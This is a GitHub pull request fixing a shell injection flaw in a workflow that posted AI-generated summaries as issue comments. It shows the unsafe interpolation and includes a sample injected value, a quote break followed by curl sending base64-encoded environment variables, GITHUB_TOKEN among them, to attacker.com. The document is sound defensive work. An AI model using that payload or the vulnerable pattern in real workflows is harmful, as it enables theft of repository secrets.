Skip to content

fix: update AI summary comment command to use response variable#27

Merged
olivierbagot merged 1 commit into
mainfrom
fix/summary-prompt-injection
May 4, 2026
Merged

fix: update AI summary comment command to use response variable#27
olivierbagot merged 1 commit into
mainfrom
fix/summary-prompt-injection

Conversation

@olivierbagot
Copy link
Copy Markdown
Member

@olivierbagot olivierbagot commented May 4, 2026

Fix Shell Injection Vulnerability in AI Summary Workflow

Bug Fix

🐛 Resolved a shell injection vulnerability in the AI summary workflow where the AI inference response was directly interpolated into the shell command string. This allowed special characters (especially single quotes) in the AI-generated response to break out of the quoted context and potentially execute arbitrary shell commands, including exfiltrating secrets like GITHUB_TOKEN.

The fix passes the AI response through an environment variable ($RESPONSE) instead of inline interpolation, ensuring the value is treated as data rather than being re-parsed by the shell.

Changes

  • .github/workflows/summary.yml: Replaced the unsafe inline interpolation of ${{ steps.inference.outputs.response }} with a safe $RESPONSE environment variable reference. The ISSUE_NUMBER argument is also now properly double-quoted. The response value is now passed via the env block, preventing shell injection.

Before (vulnerable):

gh issue comment $ISSUE_NUMBER --body '${{ steps.inference.outputs.response }}'

    GitHub Actions runner (BEFORE fix)
    │
    ├─ 1. GitHub Actions resolves ${{ steps.inference.outputs.response }}
    │     script becomes:
    │     gh issue comment 123 --body 'it'; curl https://attacker.com/$(env | base64)''
    │                                    ↑
    │                                    single quote closes the argument
    │
    ├─ 2. Shell parses the script — sees 2 commands:
    │     ├─ cmd 1: gh issue comment 123 --body 'it'
    │     └─ cmd 2: curl https://attacker.com/$(env | base64)
    │
    └─ 3. Shell executes both commands
          ├─ gh posts "it" as comment
          └─ curl exfiltrates all env variables to attacker
                └─ includes GITHUB_TOKEN, any other secret in scope

After (safe):

gh issue comment "$ISSUE_NUMBER" --body "$RESPONSE"
env:
  RESPONSE: ${{ steps.inference.outputs.response }}
 GitHub Actions runner (AFTER fix)
    │
    ├─ 1. Resolve env block
    │     RESPONSE = "it'; curl https://attacker.com"   ← stored as data, not parsed
    │
    ├─ 2. Parse shell script
    │     gh issue comment "$ISSUE_NUMBER" --body "$RESPONSE"
    │     └─ shell sees: command=gh, args=["issue","comment","123","--body","$RESPONSE"]
    │        parsing is done — structure is frozen
    │
    └─ 3. Expand $RESPONSE and execute
          gh receives: ["issue","comment","123","--body","it'; curl https://attacker.com"]
                                                           └─ plain string, never re-parsed

fix: update AI summary comment command to use response variable
chore: bump actions/ai-inference to v2
@github-actions
Copy link
Copy Markdown

github-actions Bot commented May 4, 2026

Code Coverage

Package Line Rate Branch Rate Complexity Health
src 92% 67% 0
src.components.badges 100% 100% 0
src.components.dashboard.cards 100% 98% 0
src.components.dashboard.layout 100% 100% 0
src.components.layout 100% 56% 0
src.components.sessions 100% 92% 0
src.components.shared 90% 91% 0
src.components.stations.detail 99% 90% 0
src.components.stations.filter 90% 87% 0
src.components.stations.list 97% 75% 0
src.components.stations.map 93% 90% 0
src.components.stations.shared 100% 96% 0
src.composables 99% 95% 0
src.composables.errors 100% 100% 0
src.directives 97% 92% 0
src.i18n 28% 100% 0
src.pages 96% 80% 0
src.router 92% 100% 0
src.services 100% 100% 0
src.store 96% 94% 0
src.store.badges 91% 91% 0
src.store.evse 87% 96% 0
src.store.sessions 90% 96% 0
src.store.utils 100% 100% 0
src.utils.odata 92% 94% 0
Summary 94% (4908 / 5221) 90% (1101 / 1218) 0

@github-actions
Copy link
Copy Markdown

github-actions Bot commented May 4, 2026

Code Coverage

Package Line Rate Branch Rate Complexity Health
srv 96% 98% 0
srv.utils 98% 96% 0
Summary 97% (289 / 297) 97% (148 / 153) 0

@olivierbagot olivierbagot merged commit 3863bb8 into main May 4, 2026
10 checks passed
@olivierbagot olivierbagot deleted the fix/summary-prompt-injection branch May 4, 2026 08:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant